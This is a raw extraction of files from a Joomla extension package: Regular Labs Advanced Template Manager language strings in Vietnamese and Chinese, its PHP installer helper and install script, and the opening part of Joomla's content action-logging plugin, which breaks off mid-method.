;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Với Advanced Template Manager bạn
có các tùy chọn và tính năng thêm để quản lý template của
bạn."
ATP_SETTINGS="Vui lòng xem [[%1:start link%]]Template Manager[[%2:end
link%]] để thiết lập."
ATP_THE_COMPONENT="the Advanced Template Manager component"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKco�[���e��Nadvancedtemplates/language/vi-VN/vi-VN.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKco�[~G����Jadvancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="操作日志 - Regular Labs -
高级模板管理器"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="记录高级模板管理器用户的操作"
ADVANCEDTEMPLATEMANAGER="高级模板管理器"
ADVANCEDTEMPLATEMANAGER_DESC="使用高级模板管理器,您可以使用其他选项和功能来控制模板。"
ATP_SETTINGS="有关设置,请参见[[%1:start
link%]]模板管理器[[%2:end link%]]。"
ATP_THE_COMPONENT="高级模板管理器组件"
ATP_THE_SYSTEM_PLUGIN="高级模板管理器系统插件"
ATP_ACTION_FOLDER_FILE_ACTIONS="文件夹/文件操作"
ATP_ACTION_TEMPLATE_COPY="复制模板"
ATP_ACTIONLOGS_FILE_ADDED="用户<a
href='{accountlink}'>{username}</a>将<a
href='{filelink}'>{file}</a>添加到模板{template}"
ATP_ACTIONLOGS_FILE_DELETED="用户<a
href='{accountlink}'>{username}</a>已从模板{template}中删除{file}"
ATP_ACTIONLOGS_FILE_UPDATED="用户<a
href='{accountlink}'>{username}</a>已从模板{template}中更新<a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_STYLE_SET_HOME="用户<a
href='{accountlink}'>{username}</a>将默认模板样式更改为<a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="用户<a
href='{accountlink}'>{username}</a>创建了一个名为“{to_name}”的新模板(“{from_name}”的副本)"
ATP_TEMPLATE_FILE="模板文件"
PKco�[iV�;Nadvancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="操作日志 - Regular Labs -
高级模板管理器"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="记录高级模板管理器用户的操作"
ADVANCEDTEMPLATEMANAGER="高级模板管理器"
PKco�[+B��}Y}Y+advancedtemplates/script.install.helper.phpnu�[���<?php
/**
* @package Advanced Template Manager
* @version 3.9.5
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Installer\Installer as JInstaller;
use Joomla\CMS\Language\Text as JText;
class PlgActionlogAdvancedTemplatesInstallerScriptHelper
{
public $name = '';
public $alias = '';
public $extname = '';
public $extension_type = '';
public $plugin_folder = 'system';
public $module_position = 'status';
public $client_id = 1;
public $install_type = 'install';
public $show_message = true;
public $db = null;
public $softbreak = null;
public $installed_version = '';
public function __construct(&$params)
{
$this->extname = $this->extname ?: $this->alias;
$this->db = JFactory::getDbo();
}
public function preflight($route, $adapter)
{
if ( ! in_array($route, ['install', 'update']))
{
return true;
}
JFactory::getLanguage()->load('plg_system_regularlabsinstaller',
JPATH_PLUGINS . '/system/regularlabsinstaller');
$this->installed_version =
$this->getVersion($this->getInstalledXMLFile());
if ($this->show_message && $this->isInstalled())
{
$this->install_type = 'update';
}
// if ($this->extension_type == 'component')
// {
// // Remove admin menu to prevent error on creating it again
// $query = $this->db->getQuery(true)
// ->delete('#__menu')
// ->where($this->db->quoteName('path') . ' =
' . $this->db->quote('com-' . $this->extname))
// ->where($this->db->quoteName('client_id') . '
= 1');
// $this->db->setQuery($query);
// $this->db->execute();
// }
if ($this->onBeforeInstall($route) === false)
{
return false;
}
return true;
}
public function postflight($route, $adapter)
{
$this->removeGlobalLanguageFiles();
$this->removeUnusedLanguageFiles();
JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, $this->getMainFolder());
if ( ! in_array($route, ['install', 'update']))
{
return true;
}
$this->fixExtensionNames();
$this->updateUpdateSites();
$this->removeAdminCache();
if ($this->onAfterInstall($route) === false)
{
return false;
}
if ($route == 'install')
{
$this->publishExtension();
}
if ($this->show_message)
{
$this->addInstalledMessage();
}
JFactory::getCache()->clean('com_plugins');
JFactory::getCache()->clean('_system');
return true;
}
public function isInstalled()
{
if ( ! is_file($this->getInstalledXMLFile()))
{
return false;
}
$query = $this->db->getQuery(true)
->select($this->db->quoteName('extension_id'))
->from('#__extensions')
->where($this->db->quoteName('type') . ' =
' . $this->db->quote($this->extension_type))
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName()))
->setLimit(1);
$this->db->setQuery($query);
$result = $this->db->loadResult();
return empty($result) ? false : true;
}
public function getMainFolder()
{
switch ($this->extension_type)
{
case 'plugin' :
return JPATH_PLUGINS . '/' . $this->plugin_folder .
'/' . $this->extname;
case 'component' :
return JPATH_ADMINISTRATOR . '/components/com_' .
$this->extname;
case 'module' :
return JPATH_ADMINISTRATOR . '/modules/mod_' .
$this->extname;
case 'library' :
return JPATH_SITE . '/libraries/' . $this->extname;
}
}
public function getInstalledXMLFile()
{
return $this->getXMLFile($this->getMainFolder());
}
public function getCurrentXMLFile()
{
return $this->getXMLFile(__DIR__);
}
public function getXMLFile($folder)
{
switch ($this->extension_type)
{
case 'module' :
return $folder . '/mod_' . $this->extname .
'.xml';
default :
return $folder . '/' . $this->extname . '.xml';
}
}
public function uninstallExtension($extname, $type = 'plugin',
$folder = 'system', $show_message = true)
{
if (empty($extname))
{
return;
}
$folders = [];
switch ($type)
{
case 'plugin':
$folders[] = JPATH_PLUGINS . '/' . $folder . '/' .
$extname;
break;
case 'component':
$folders[] = JPATH_ADMINISTRATOR . '/components/com_' .
$extname;
$folders[] = JPATH_SITE . '/components/com_' . $extname;
break;
case 'module':
$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' .
$extname;
$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
break;
}
if ( ! $this->foldersExist($folders))
{
return;
}
$query = $this->db->getQuery(true)
->select($this->db->quoteName('extension_id'))
->from('#__extensions')
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName($type, $extname)))
->where($this->db->quoteName('type') . ' =
' . $this->db->quote($type));
if ($type == 'plugin')
{
$query->where($this->db->quoteName('folder') . '
= ' . $this->db->quote($folder));
}
$this->db->setQuery($query);
$ids = $this->db->loadColumn();
if (empty($ids))
{
foreach ($folders as $folder)
{
JFactory::getApplication()->enqueueMessage('2. Deleting: '
. $folder, 'notice');
JFolder::delete($folder);
}
return;
}
$ignore_ids =
JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids',
[]);
if (JFactory::getApplication()->input->get('option') ==
'com_installer' &&
JFactory::getApplication()->input->get('task') ==
'remove')
{
// Don't attempt to uninstall extensions that are already selected
to get uninstalled by them selves
$ignore_ids = array_merge($ignore_ids,
JFactory::getApplication()->input->get('cid', [],
'array'));
JFactory::getApplication()->input->set('cid',
array_merge($ignore_ids, $ids));
}
$ids = array_diff($ids, $ignore_ids);
if (empty($ids))
{
return;
}
$ignore_ids = array_merge($ignore_ids, $ids);
JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids',
$ignore_ids);
foreach ($ids as $id)
{
$tmpInstaller = new JInstaller;
$tmpInstaller->uninstall($type, $id);
}
if ($show_message)
{
JFactory::getApplication()->enqueueMessage(
JText::sprintf(
'COM_INSTALLER_UNINSTALL_SUCCESS',
JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
), 'success'
);
}
}
public function foldersExist($folders = [])
{
foreach ($folders as $folder)
{
if (is_dir($folder))
{
return true;
}
}
return false;
}
public function uninstallPlugin($extname, $folder = 'system',
$show_message = true)
{
$this->uninstallExtension($extname, 'plugin', $folder,
$show_message);
}
public function uninstallComponent($extname, $show_message = true)
{
$this->uninstallExtension($extname, 'component', null,
$show_message);
}
public function uninstallModule($extname, $show_message = true)
{
$this->uninstallExtension($extname, 'module', null,
$show_message);
}
public function publishExtension()
{
switch ($this->extension_type)
{
case 'plugin' :
$this->publishPlugin();
case 'module' :
$this->publishModule();
}
}
public function publishPlugin()
{
$query = $this->db->getQuery(true)
->update('#__extensions')
->set($this->db->quoteName('enabled') . ' =
1')
->where($this->db->quoteName('type') . ' =
' . $this->db->quote('plugin'))
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->extname))
->where($this->db->quoteName('folder') . ' =
' . $this->db->quote($this->plugin_folder));
$this->db->setQuery($query);
$this->db->execute();
}
public function publishModule()
{
// Get module id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__modules')
->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
if ( ! $id)
{
return;
}
// check if module is already in the modules_menu table (meaning is is
already saved)
$query->clear()
->select($this->db->quoteName('moduleid'))
->from('#__modules_menu')
->where($this->db->quoteName('moduleid') . ' =
' . (int) $id)
->setLimit(1);
$this->db->setQuery($query);
$exists = $this->db->loadResult();
if ($exists)
{
return;
}
// Get highest ordering number in position
$query->clear()
->select($this->db->quoteName('ordering'))
->from('#__modules')
->where($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id)
->order('ordering DESC');
$this->db->setQuery($query, 0, 1);
$ordering = $this->db->loadResult();
$ordering++;
// publish module and set ordering number
$query->clear()
->update('#__modules')
->set($this->db->quoteName('published') . ' =
1')
->set($this->db->quoteName('ordering') . ' =
' . (int) $ordering)
->set($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
->where($this->db->quoteName('id') . ' = '
. (int) $id);
$this->db->setQuery($query);
$this->db->execute();
// add module to the modules_menu table
$query->clear()
->insert('#__modules_menu')
->columns([$this->db->quoteName('moduleid'),
$this->db->quoteName('menuid')])
->values((int) $id . ', 0');
$this->db->setQuery($query);
$this->db->execute();
}
public function addInstalledMessage()
{
JFactory::getApplication()->enqueueMessage(
JText::sprintf(
$this->install_type == 'update' ?
'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' :
'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY',
'<strong>' . JText::_($this->name) .
'</strong>',
'<strong>' . $this->getVersion() .
'</strong>',
$this->getFullType()
), 'success'
);
}
public function getPrefix()
{
switch ($this->extension_type)
{
case 'plugin':
return JText::_('plg_' .
strtolower($this->plugin_folder));
case 'component':
return JText::_('com');
case 'module':
return JText::_('mod');
case 'library':
return JText::_('lib');
default:
return $this->extension_type;
}
}
public function getElementName($type = null, $extname = null)
{
$type = is_null($type) ? $this->extension_type : $type;
$extname = is_null($extname) ? $this->extname : $extname;
switch ($type)
{
case 'component' :
return 'com_' . $extname;
case 'module' :
return 'mod_' . $extname;
case 'plugin' :
default:
return $extname;
}
}
public function getFullType()
{
return JText::_('RLI_' . strtoupper($this->getPrefix()));
}
public function getVersion($file = '')
{
$file = $file ?: $this->getCurrentXMLFile();
if ( ! is_file($file))
{
return '';
}
$xml = JInstaller::parseXMLInstallFile($file);
if ( ! $xml || ! isset($xml['version']))
{
return '';
}
return $xml['version'];
}
public function isNewer()
{
if ( ! $this->installed_version)
{
return true;
}
$package_version = $this->getVersion();
return version_compare($this->installed_version, $package_version,
'<=');
}
public function canInstall()
{
// The extension is not installed yet
if ( ! $this->installed_version)
{
return true;
}
// The free version is installed. So any version is ok to install
if (strpos($this->installed_version, 'PRO') === false)
{
return true;
}
// Current package is a pro version, so all good
if (strpos($this->getVersion(), 'PRO') !== false)
{
return true;
}
JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, __DIR__);
JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'),
'error');
JFactory::getApplication()->enqueueMessage(
html_entity_decode(
JText::sprintf(
'RLI_ERROR_UNINSTALL_FIRST',
'<a href="https://www.regularlabs.com/extensions/' .
$this->alias . '" target="_blank">',
'</a>',
JText::_($this->name)
)
), 'error'
);
return false;
}
/*
* Fixes incorrectly formed versions because of issues in old packager
*/
public function fixFileVersions($file)
{
if (is_array($file))
{
foreach ($file as $f)
{
self::fixFileVersions($f);
}
return;
}
if ( ! is_string($file) || ! is_file($file))
{
return;
}
$contents = file_get_contents($file);
if (
strpos($contents, 'FREEFREE') === false
&& strpos($contents, 'FREEPRO') === false
&& strpos($contents, 'PROFREE') === false
&& strpos($contents, 'PROPRO') === false
)
{
return;
}
$contents = str_replace(
['FREEFREE', 'FREEPRO', 'PROFREE',
'PROPRO'],
['FREE', 'PRO', 'FREE', 'PRO'],
$contents
);
JFile::write($file, $contents);
}
public function onBeforeInstall($route)
{
if ( ! $this->canInstall())
{
return false;
}
return true;
}
public function onAfterInstall($route)
{
return true;
}
public function delete($files = [])
{
foreach ($files as $file)
{
if (is_dir($file))
{
JFolder::delete($file);
}
if (is_file($file))
{
JFile::delete($file);
}
}
}
public function fixAssetsRules()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('rules'))
->from('#__assets')
->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname))
->setLimit(1);
$this->db->setQuery($query);
$rules = $this->db->loadResult();
$rules = json_decode($rules);
if (empty($rules))
{
return;
}
foreach ($rules as $key => $value)
{
if ( ! empty($value))
{
continue;
}
unset($rules->$key);
}
$rules = json_encode($rules);
$query = $this->db->getQuery(true)
->update($this->db->quoteName('#__assets'))
->set($this->db->quoteName('rules') . ' = '
. $this->db->quote($rules))
->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname));
$this->db->setQuery($query);
$this->db->execute();
}
private function fixExtensionNames()
{
switch ($this->extension_type)
{
case 'module' :
$this->fixModuleNames();
}
}
private function fixModuleNames()
{
// Get module id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__modules')
->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
$this->db->setQuery($query, 0, 1);
$module_id = $this->db->loadResult();
if (empty($module_id))
{
return;
}
$title = 'Regular Labs - ' . JText::_($this->name);
$query->clear()
->update('#__modules')
->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
->where($this->db->quoteName('id') . ' = '
. (int) $module_id)
->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'));
$this->db->setQuery($query);
$this->db->execute();
// Fix module assets
// Get asset id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__assets')
->where($this->db->quoteName('name') . ' =
' . $this->db->quote('com_modules.module.' . (int)
$module_id))
->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'))
->setLimit(1);
$this->db->setQuery($query);
$asset_id = $this->db->loadResult();
if (empty($asset_id))
{
return;
}
$query->clear()
->update('#__assets')
->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
->where($this->db->quoteName('id') . ' = '
. (int) $asset_id);
$this->db->setQuery($query);
$this->db->execute();
}
private function updateUpdateSites()
{
$this->removeOldUpdateSites();
$this->updateNamesInUpdateSites();
$this->updateHttptoHttpsInUpdateSites();
$this->removeDuplicateUpdateSite();
$this->updateDownloadKey();
}
private function removeOldUpdateSites()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('nonumber.nl%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
if ( ! $id)
{
return;
}
$query->clear()
->delete('#__update_sites')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
$query->clear()
->delete('#__update_sites_extensions')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
}
private function updateNamesInUpdateSites()
{
$name = JText::_($this->name);
if ($this->alias != 'extensionmanager')
{
$name = 'Regular Labs - ' . $name;
}
$query = $this->db->getQuery(true)
->update('#__update_sites')
->set($this->db->quoteName('name') . ' = '
. $this->db->quote($name))
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function updateHttptoHttpsInUpdateSites()
{
$query = $this->db->getQuery(true)
->update('#__update_sites')
->set($this->db->quoteName('location') . ' =
REPLACE('
. $this->db->quoteName('location') . ', '
. $this->db->quote('http://') . ', '
. $this->db->quote('https://')
. ')')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('http://download.regularlabs.com%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function removeDuplicateUpdateSite()
{
// First check to see if there is a pro entry
$query = $this->db->getQuery(true)
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
->where($this->db->quoteName('location') . ' NOT
LIKE ' . $this->db->quote('%pro=1%'))
->setLimit(1);
$this->db->setQuery($query);
$id = $this->db->loadResult();
// Otherwise just get the first match
if ( ! $id)
{
$query->clear()
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
// Remove pro=1 from the found update site
$query->clear()
->update('#__update_sites')
->set($this->db->quoteName('location')
. ' = replace(' .
$this->db->quoteName('location') . ', ' .
$this->db->quote('&pro=1') . ', ' .
$this->db->quote('') . ')')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
}
if ( ! $id)
{
return;
}
$query->clear()
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
->where($this->db->quoteName('update_site_id') .
' != ' . $id);
$this->db->setQuery($query);
$ids = $this->db->loadColumn();
if (empty($ids))
{
return;
}
$query->clear()
->delete('#__update_sites')
->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
$this->db->setQuery($query);
$this->db->execute();
$query->clear()
->delete('#__update_sites_extensions')
->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
$this->db->setQuery($query);
$this->db->execute();
}
// Save the download key from the Regular Labs Extension Manager config to
the update sites
private function updateDownloadKey()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('params'))
->from('#__extensions')
->where($this->db->quoteName('element') . ' =
' . $this->db->quote('com_regularlabsmanager'));
$this->db->setQuery($query);
$params = $this->db->loadResult();
if ( ! $params)
{
return;
}
$params = json_decode($params);
if ( ! isset($params->key))
{
return;
}
// Add the key on all regularlabs.com urls
$query->clear()
->update('#__update_sites')
->set($this->db->quoteName('extra_query') . ' =
' . $this->db->quote('k=' . $params->key))
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function removeAdminCache()
{
$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
}
private function removeGlobalLanguageFiles()
{
if ($this->extension_type == 'library')
{
return;
}
$language_files = JFolder::files(JPATH_ADMINISTRATOR .
'/language', '\.' . $this->getPrefix() .
'_' . $this->extname . '\.', true, true);
// Remove override files
foreach ($language_files as $i => $language_file)
{
if (strpos($language_file, '/overrides/') === false)
{
continue;
}
unset($language_files[$i]);
}
if (empty($language_files))
{
return;
}
JFile::delete($language_files);
}
private function removeUnusedLanguageFiles()
{
if ($this->extension_type == 'library')
{
return;
}
if ( ! is_file(__DIR__ . '/language'))
{
return;
}
$installed_languages = array_merge(
is_file(JPATH_SITE . '/language') ?
JFolder::folders(JPATH_SITE . '/language') : [],
is_file(JPATH_ADMINISTRATOR . '/language') ?
JFolder::folders(JPATH_ADMINISTRATOR . '/language') : []
);
$languages = array_diff(
JFolder::folders(__DIR__ . '/language') ?: [],
$installed_languages
);
$delete_languages = [];
foreach ($languages as $language)
{
$delete_languages[] = $this->getMainFolder() . '/language/'
. $language;
}
if (empty($delete_languages))
{
return;
}
// Remove folders
$this->delete($delete_languages);
}
}
PKco�[��c�QQ$advancedtemplates/script.install.phpnu�[���<?php
/**
* @package Advanced Template Manager
* @version 3.9.5
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
require_once __DIR__ . '/script.install.helper.php';
class PlgActionlogAdvancedTemplatesInstallerScript extends
PlgActionlogAdvancedTemplatesInstallerScriptHelper
{
public $name = 'ADVANCEDTEMPLATEMANAGER';
public $alias = 'advancedtemplates';
public $extension_type = 'plugin';
public $plugin_folder = 'actionlog';
public function uninstall($adapter)
{
$this->uninstallComponent($this->extname);
$this->uninstallPlugin($this->extname, 'system');
}
}
PKco�[l���s�sjoomla/joomla.phpnu�[���<?php
/**
* @package Joomla.Plugins
* @subpackage System.actionlogs
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\User\User;
use Joomla\CMS\Version;
use Joomla\Utilities\ArrayHelper;
JLoader::register('ActionLogPlugin', JPATH_ADMINISTRATOR .
'/components/com_actionlogs/libraries/actionlogplugin.php');
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR .
'/components/com_actionlogs/helpers/actionlogs.php');
/**
* Joomla! Users Actions Logging Plugin.
*
* @since 3.9.0
*/
class PlgActionlogJoomla extends ActionLogPlugin
{
/**
* Array of loggable extensions.
*
* @var array
* @since 3.9.0
*/
protected $loggableExtensions = array();
/**
* Context aliases
*
* @var array
* @since 3.9.0
*/
protected $contextAliases = array('com_content.form' =>
'com_content.article');
/**
* Constructor.
*
* @param object &$subject The object to observe.
* @param array $config An optional associative array of
configuration settings.
*
* @since 3.9.0
*/
public function __construct(&$subject, $config)
{
parent::__construct($subject, $config);
$params =
ComponentHelper::getComponent('com_actionlogs')->getParams();
$this->loggableExtensions =
$params->get('loggable_extensions', array());
}
/**
* After save content logging method
* This method adds a record to #__action_logs contains (message, date,
context, user)
* Method is called right after the content is saved
*
* @param string $context The context of the content passed to the
plugin
* @param object $article A JTableContent object
* @param boolean $isNew If the content is just about to be created
*
* @return void
*
* @since 3.9.0
*/
public function onContentAfterSave($context, $article, $isNew)
{
if (isset($this->contextAliases[$context]))
{
$context = $this->contextAliases[$context];
}
$option = $this->app->input->getCmd('option');
if (!$this->checkLoggable($option))
{
return;
}
$params = ActionlogsHelper::getLogContentTypeParams($context);
// Not found a valid content type, don't process further
if ($params === null)
{
return;
}
list(, $contentType) = explode('.', $params->type_alias);
if ($isNew)
{
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ADDED';
$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
}
else
{
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UPDATED';
$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
}
// If the content type doesn't has it own language key, use default
language key
if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
{
$messageLanguageKey = $defaultLanguageKey;
}
$id = empty($params->id_holder) ? 0 :
$article->get($params->id_holder);
$message = array(
'action' => $isNew ? 'add' :
'update',
'type' => $params->text_prefix . '_TYPE_'
. $params->type_title,
'id' => $id,
'title' => $article->get($params->title_holder),
'itemlink' => ActionlogsHelper::getContentTypeLink($option,
$contentType, $id, $params->id_holder)
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* After delete content logging method
* This method adds a record to #__action_logs contains (message, date,
context, user)
* Method is called right after the content is deleted
*
* @param string $context The context of the content passed to the
plugin
* @param object $article A JTableContent object
*
* @return void
*
* @since 3.9.0
*/
public function onContentAfterDelete($context, $article)
{
$option = $this->app->input->get('option');
if (!$this->checkLoggable($option))
{
return;
}
$params = ActionlogsHelper::getLogContentTypeParams($context);
// Not found a valid content type, don't process further
if ($params === null)
{
return;
}
// If the content type has it own language key, use it, otherwise, use
default language key
if
($this->app->getLanguage()->hasKey(strtoupper($params->text_prefix
. '_' . $params->type_title . '_DELETED')))
{
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_DELETED';
}
else
{
$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
}
$id = empty($params->id_holder) ? 0 :
$article->get($params->id_holder);
$message = array(
'action' => 'delete',
'type' => $params->text_prefix . '_TYPE_' .
$params->type_title,
'id' => $id,
'title' => $article->get($params->title_holder)
);
$this->addLog(array($message), $messageLanguageKey, $context);
}
/**
* On content change status logging method
* This method adds a record to #__action_logs contains (message, date,
context, user)
* Method is called when the status of the article is changed
*
* @param string $context The context of the content passed to the
plugin
* @param array $pks An array of primary key ids of the content
that has changed state.
* @param integer $value The value of the state that the content has
been changed to.
*
* @return void
*
* @since 3.9.0
*/
public function onContentChangeState($context, $pks, $value)
{
$option = $this->app->input->getCmd('option');
if (!$this->checkLoggable($option))
{
return;
}
$params = ActionlogsHelper::getLogContentTypeParams($context);
// Not found a valid content type, don't process further
if ($params === null)
{
return;
}
list(, $contentType) = explode('.', $params->type_alias);
switch ($value)
{
case 0:
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_UNPUBLISHED';
$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_UNPUBLISHED';
$action = 'unpublish';
break;
case 1:
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_PUBLISHED';
$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_PUBLISHED';
$action = 'publish';
break;
case 2:
$messageLanguageKey = $params->text_prefix . '_' .
$params->type_title . '_ARCHIVED';
$defaultLanguageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_ARCHIVED';
$action = 'archive';
